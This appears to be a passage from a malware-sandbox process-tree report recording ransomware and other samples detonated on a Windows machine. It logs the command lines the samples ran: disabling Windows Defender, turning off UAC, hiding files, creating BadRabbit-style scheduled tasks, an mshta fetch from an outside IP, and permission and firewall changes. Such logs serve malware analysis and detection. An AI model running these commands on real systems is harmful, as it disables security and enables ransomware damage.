"C:\Users\Admin\AppData\Local\Temp\Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3388
- C:\Users\Admin\AppData\Local\Temp\Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe
  "C:\Users\Admin\AppData\Local\Temp\Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4788
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    PID:1508
  - - C:\Windows\SysWOW64\Wbem\mofcomp.exe
      mofcomp C:\Users\Admin\AppData\Local\Temp\4otjesjty.mof
      4⤵
      PID:5496
  - - C:\Windows\SysWOW64\net.exe
      net start wscsvc
      4⤵
      PID:4756
  - - C:\Windows\SysWOW64\net.exe
      net start winmgmt
      4⤵
      PID:5520
  - - C:\Windows\SysWOW64\net.exe
      net stop winmgmt /y
      4⤵
      PID:5260
  - - C:\Windows\SysWOW64\net.exe
      net stop wscsvc
      4⤵
      PID:5476
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    - Executes dropped EXE
    - Writes to the Master Boot Record (MBR)
    PID:2800
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    - Executes dropped EXE
    PID:2916
  - - C:\Program Files (x86)\antiviruspc2009\avpc2009.exe
      "C:\Program Files (x86)\antiviruspc2009\avpc2009.exe"
      4⤵
      PID:2136
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    - Executes dropped EXE
    PID:1460
  - - C:\WINDOWS\302746537.exe
      "C:\WINDOWS\302746537.exe"
      4⤵
      PID:6116
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AA98.tmp\302746537.bat" "
        5⤵
        
        PID:5100
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    PID:3292
  - - C:\Windows\SysWOW64\rundll32.exe
      C:\Windows\system32\rundll32.exe C:\Windows\infpub.dat,#1 15
      4⤵
      PID:1572
    - - C:\Windows\SysWOW64\cmd.exe
        
        /c schtasks /Delete /F /TN rhaegal
        5⤵
        
        PID:4724
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Delete /F /TN rhaegal
        6⤵
        
        PID:5936
    - - C:\Windows\SysWOW64\cmd.exe
        
        /c schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR "C:\Windows\system32\cmd.exe /C Start \"\" \"C:\Windows\dispci.exe\" -id 1961501349 && exit"
        5⤵
        
        PID:4304
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR "C:\Windows\system32\cmd.exe /C Start \"\" \"C:\Windows\dispci.exe\" -id 1961501349 && exit"
        6⤵
        Creates scheduled task(s)
        
        PID:5472
    - - C:\Windows\SysWOW64\cmd.exe
        
        /c schtasks /Create /SC once /TN drogon /RU SYSTEM /TR "C:\Windows\system32\shutdown.exe /r /t 0 /f" /ST 14:57:00
        5⤵
        
        PID:1608
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Create /SC once /TN drogon /RU SYSTEM /TR "C:\Windows\system32\shutdown.exe /r /t 0 /f" /ST 14:57:00
        6⤵
        Creates scheduled task(s)
        
        PID:4604
    - - C:\Windows\9191.tmp
        
        "C:\Windows\9191.tmp" \\.\pipe\{E17B18FF-AF97-4E7A-AE1A-A093BD92BC40}
        5⤵
        
        PID:792
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    - Executes dropped EXE
    PID:4012
  - - C:\Windows\SysWOW64\netsh.exe
      C:\Windows\system32\netsh.exe advfirewall set allprofiles state on
      4⤵
      Modifies Windows Firewall
      PID:5192
  - - C:\Windows\SysWOW64\netsh.exe
      C:\Windows\system32\netsh.exe advfirewall reset
      4⤵
      Modifies Windows Firewall
      PID:5264
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    - Executes dropped EXE
    PID:3696
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    PID:5020
  - - C:\Users\Admin\AppData\Local\6AdwCleaner.exe
      "C:\Users\Admin\AppData\Local\6AdwCleaner.exe"
      4⤵
      PID:3480
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    - Executes dropped EXE
    PID:8
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM explorer.exe
      4⤵
      Kills process with taskkill
      PID:456
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    - Executes dropped EXE
    PID:4396
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    - Executes dropped EXE
    PID:2084
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    PID:4688
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4688 -s 584
      4⤵
      Program crash
      PID:624
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    - Executes dropped EXE
    PID:2540
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    PID:2968
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    - Executes dropped EXE
    PID:5056
  - - C:\Program Files (x86)\HjuTygFcvX\lpsprt.exe
      "C:\Program Files (x86)\HjuTygFcvX\lpsprt.exe"
      4⤵
      PID:3940
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    PID:5052
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX0\PCDefenderSilentSetup.msi"
      4⤵
      PID:5760
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    PID:2784
  - - C:\Users\Admin\MooskccM\OgMMAEUs.exe
      "C:\Users\Admin\MooskccM\OgMMAEUs.exe"
      4⤵
      PID:4204
    - - C:\ProgramData\vyQwMwog\xsskQcks.exe
        
        "C:\ProgramData\vyQwMwog\xsskQcks.exe"
        5⤵
        
        PID:5624
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /FI "USERNAME eq Admin" /F /IM OgMMAEUs.exe
        6⤵
        Kills process with taskkill
        
        PID:5048
      - C:\Users\Admin\MooskccM\OgMMAEUs.exe
        
        "C:\Users\Admin\MooskccM\OgMMAEUs.exe"
        6⤵
        
        PID:5460
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /FI "USERNAME eq Admin" /F /IM xsskQcks.exe
        5⤵
        Kills process with taskkill
        
        PID:5644
  - - C:\ProgramData\vyQwMwog\xsskQcks.exe
      "C:\ProgramData\vyQwMwog\xsskQcks.exe"
      4⤵
      PID:1120
    - - C:\Users\Admin\MooskccM\OgMMAEUs.exe
        
        "C:\Users\Admin\MooskccM\OgMMAEUs.exe"
        5⤵
        
        PID:5924
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /FI "USERNAME eq Admin" /F /IM xsskQcks.exe
        6⤵
        Kills process with taskkill
        
        PID:5944
      - C:\ProgramData\vyQwMwog\xsskQcks.exe
        
        "C:\ProgramData\vyQwMwog\xsskQcks.exe"
        6⤵
        
        PID:5712
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /FI "USERNAME eq Admin" /F /IM OgMMAEUs.exe
        5⤵
        Kills process with taskkill
        
        PID:3880
  - - C:\Windows\SysWOW64\reg.exe
      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
      4⤵
      Modifies registry key
      PID:4704
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\qkQQkAAs.bat" "C:\Users\Admin\AppData\Local\Temp\[email protected]""
      4⤵
      PID:4332
    - - C:\Windows\SysWOW64\cscript.exe
        
        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
        5⤵
        
        PID:7128
  - - C:\Windows\SysWOW64\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
      4⤵
      Modifies registry key
      PID:3516
  - - C:\Windows\SysWOW64\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
      4⤵
      Modifies registry key
      PID:3848
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Endermanch@PolyRansom"
      4⤵
      PID:4908
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    PID:2440
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2440 -s 444
      4⤵
      Program crash
      PID:4980
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    - Disables RegEdit via registry modification
    - Executes dropped EXE
    - Adds Run key to start application
    - Modifies WinLogon
    - Drops file in Windows directory
    - Modifies Control Panel
    - Modifies Internet Explorer settings
    - Modifies Internet Explorer start page
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - System policy modification
    PID:2376
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    - Enumerates VirtualBox registry keys
    - Executes dropped EXE
    - Enumerates connected drives
    - Writes to the Master Boot Record (MBR)
    - Suspicious behavior: EnumeratesProcesses
    PID:2876
  - - C:\Windows\SysWOW64\netsh.exe
      netsh "firewall" add allowedprogram "C:\Users\Admin\AppData\Local\Temp\[email protected]" "Internet Security Guard" ENABLE
      4⤵
      PID:1060
  - - C:\Windows\SysWOW64\Wbem\mofcomp.exe
      mofcomp "C:\Users\Admin\AppData\Local\Temp\1233.mof"
      4⤵
      PID:5528
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    PID:4456
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\ProgramData\4749af15-06d5-4275-a22d-e0727245fc3f_31.avi", start
      4⤵
      PID:4872
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
        5⤵
        Modifies registry key
        
        PID:2660
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
        5⤵
        Modifies registry key
        
        PID:4980
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\wrkB873.tmp", start worker
        5⤵
        
        PID:5692
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    PID:4168
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4168 -s 480
      4⤵
      Program crash
      PID:4124
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    PID:1796
  - - C:\Users\Admin\AppData\Roaming\bovdgt.exe
      C:\Users\Admin\AppData\Roaming\bovdgt.exe
      4⤵
      PID:5176
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config WinDefend start= disabled
        5⤵
        Launches sc.exe
        
        PID:6132
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop WinDefend
        5⤵
        Launches sc.exe
        
        PID:6124
    - - C:\Windows\SysWOW64\mshta.exe
        
        mshta.exe "http://78.26.187.35/soft-usage/favicon.ico?0=1200&1=GBQHURCC&2=i-s&3=61&4=9200&5=6&6=2&7=919041&8=1033"
        5⤵
        
        PID:7144
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:5136
  - - C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      4⤵
      Executes dropped EXE
      Launches sc.exe
      PID:3292
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\EN2B55~1.EXE" >> NUL
      4⤵
      PID:5536
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    PID:4144
  - - C:\Users\Admin\AppData\Local\Temp\winsp2up.exe
      "C:\Users\Admin\AppData\Local\Temp\winsp2up.exe"
      4⤵
      PID:1648
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    PID:2184
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +h .
      4⤵
      Views/modifies file attributes
      PID:4656
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        Executes dropped EXE
        
        PID:5020
  - - C:\Windows\SysWOW64\icacls.exe
      icacls . /grant Everyone:F /T /C /Q
      4⤵
      Modifies file permissions
      PID:3880
  - - C:\Users\Admin\AppData\Local\Temp\taskdl.exe
      taskdl.exe
      4⤵
      PID:400
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 97761664462357.bat
      4⤵
      PID:4956
    - - C:\Windows\SysWOW64\cscript.exe
        
        cscript.exe //nologo m.vbs
        5⤵
        
        PID:5292
  - - C:\Users\Admin\AppData\Local\Temp\taskdl.exe
      taskdl.exe
      4⤵
      PID:2280
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    PID:4872
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Endermanch@ViraLock"
      4⤵
      PID:3088
    - - C:\Users\Admin\AppData\Local\Temp\[email protected]
        
        C:\Users\Admin\AppData\Local\Temp\Endermanch@ViraLock
        5⤵
        
        PID:5152
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Endermanch@ViraLock"
        6⤵
        
        PID:3516
        
        C:\Users\Admin\AppData\Local\Temp\[email protected]
        
        C:\Users\Admin\AppData\Local\Temp\Endermanch@ViraLock
        7⤵
        
        PID:1468
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\csgMgIsk.bat" "C:\Users\Admin\AppData\Local\Temp\[email protected]""
        6⤵
        
        PID:624
      - C:\Windows\SysWOW64\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
        6⤵
        Modifies registry key
        
        PID:2228
      - C:\Windows\SysWOW64\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
        6⤵
        Modifies registry key
        
        PID:1456
      - C:\Windows\SysWOW64\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
        6⤵
        Modifies registry key
        
        PID:4880
  - - C:\Windows\SysWOW64\reg.exe
      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
      4⤵
      Modifies registry key
      PID:4156
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ewIMoUcM.bat" "C:\Users\Admin\AppData\Local\Temp\[email protected]""
      4⤵
      PID:4532
    - - C:\Windows\SysWOW64\cscript.exe
        
        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
        5⤵
        
        PID:5552
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    PID:1516
  - - C:\Program Files (x86)\VAV\vav.exe
      "C:\Program Files (x86)\VAV\vav.exe"
      4⤵
      PID:5464
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5464 -s 572
        5⤵
        Program crash
        
        PID:4168
    - - C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32 /s "C:\Program Files (x86)\VAV\vav.exe"
        5⤵
        
        PID:1772
- - C:\Users\Admin\AppData\Local\Temp\Fantom.exe
    "C:\Users\Admin\AppData\Local\Temp\Fantom.exe"
    3⤵
    PID:3192
  - - C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe
      "C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe"
      4⤵
      PID:3848
- - C:\Users\Admin\AppData\Local\Temp\Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe
    "C:\Users\Admin\AppData\Local\Temp\Trojan-Ransom.Win32.PolyRansom.cwlk-a1d99da15a8902431ab728f50cc47294cdb18fa204d4343f42e49fc84d44bed6.exe"
    3⤵
    PID:3476
  - - C:\Users\Admin\AppData\Local\Temp\240628765.exe
      "C:\Users\Admin\AppData\Local\Temp\240628765.exe"
      4⤵
      PID:3080
  - - C:\Users\Admin\AppData\Local\Temp\@[email protected]
      "C:\Users\Admin\AppData\Local\Temp\@[email protected]"
      4⤵
      PID:5600
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:5348
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:5372
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\infpub.dat,#1 15
        5⤵
        
        PID:5184
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:3360
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:5808
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:2080
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:1464
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM explorer.exe
        5⤵
        Kills process with taskkill
        
        PID:6920
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:6176
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:6160
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:6228
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:6264
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:6212
    - - C:\Users\Admin\AppData\Local\6AdwCleaner.exe
        
        "C:\Users\Admin\AppData\Local\6AdwCleaner.exe"
        5⤵
        
        PID:6696
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:6352
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:6416
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:6408
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6408 -s 564
        5⤵
        Program crash
        
        PID:6624
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:6392
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:6336
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:6536
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:6528
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:6592
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6592 -s 444
        5⤵
        Program crash
        
        PID:6628
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:6644
    - - C:\Users\Admin\AppData\Local\Temp\is-2M31M.tmp\is-JM222.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-2M31M.tmp\is-JM222.tmp" /SL4 $10606 "C:\Users\Admin\AppData\Local\Temp\[email protected]" 779923 55808
        5⤵
        
        PID:6860
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:6632
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Endermanch@PolyRansom"
        5⤵
        
        PID:6828
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\MoIUIUYg.bat" "C:\Users\Admin\AppData\Local\Temp\[email protected]""
        5⤵
        
        PID:6912
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:6904
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
        5⤵
        Modifies registry key
        
        PID:6896
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
        5⤵
        Modifies registry key
        
        PID:6888
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:6712
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:6780
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6780 -s 448
        5⤵
        Program crash
        
        PID:5128
  - - C:\Users\Admin\AppData\Local\Temp\[email protected]
      "C:\Users\Admin\AppData\Local\Temp\[email protected]"
      4⤵
      PID:6772
    - - C:\Users\Admin\AppData\Local\Temp\[email protected]
        
        C:\Users\Admin\AppData\Local\Temp\[email protected]
        5⤵
        
        PID:5844
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3476 -s 2364
      4⤵
      Program crash
      PID:5956
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    PID:3428
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    PID:1244
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Windows\Error file remover 1.0.0.0\install\0A01606\Error file remover.msi" AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\[email protected] SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /exelang 0 /noprereqs "
      4⤵
      PID:1780
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    PID:2232
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    PID:3212
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    3⤵
    PID:2964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4688 -ip 4688
1⤵
PID:4108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4168 -ip 4168
1⤵
PID:2524

C:\Users\Admin\AppData\Local\Temp\[email protected]
C:\Users\Admin\AppData\Local\Temp\[email protected]
1⤵
PID:3448
- C:\Program Files (x86)\Security Central\Security Central.exe
  "C:\Program Files (x86)\Security Central\Security Central.exe"
  2⤵
  PID:3660

C:\Users\Admin\AppData\Local\Temp\is-M3M1Q.tmp\is-9U52M.tmp
"C:\Users\Admin\AppData\Local\Temp\is-M3M1Q.tmp\is-9U52M.tmp" /SL4 $10398 "C:\Users\Admin\AppData\Local\Temp\[email protected]" 779923 55808
1⤵
PID:1564

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3428 -s 448
1⤵
- Program crash
PID:4540

C:\Users\Admin\AppData\Local\Temp\[email protected]
C:\Users\Admin\AppData\Local\Temp\Endermanch@PolyRansom
1⤵
- Executes dropped EXE
PID:4688
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\kmEAQMgw.bat" "C:\Users\Admin\AppData\Local\Temp\[email protected]""
  2⤵
  PID:5512
- - C:\Windows\SysWOW64\cscript.exe
    cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
    3⤵
    PID:5168
- C:\Windows\SysWOW64\reg.exe
  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
  2⤵
  - Modifies registry key
  PID:5504
- C:\Windows\SysWOW64\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
  2⤵
  - Modifies registry key
  PID:5496
- C:\Windows\SysWOW64\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
  2⤵
  - Modifies registry key
  PID:5488
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Endermanch@PolyRansom"
  2⤵
  PID:5428
- - C:\Users\Admin\AppData\Local\Temp\[email protected]
    C:\Users\Admin\AppData\Local\Temp\Endermanch@PolyRansom
    3⤵
    PID:4032
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Endermanch@PolyRansom"
      4⤵
      PID:1124
    - - C:\Users\Admin\AppData\Local\Temp\[email protected]
        
        C:\Users\Admin\AppData\Local\Temp\Endermanch@PolyRansom
        5⤵
        
        PID:5508
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Endermanch@PolyRansom"
        6⤵
        
        PID:6444
      - C:\Windows\SysWOW64\cmd.exe
        
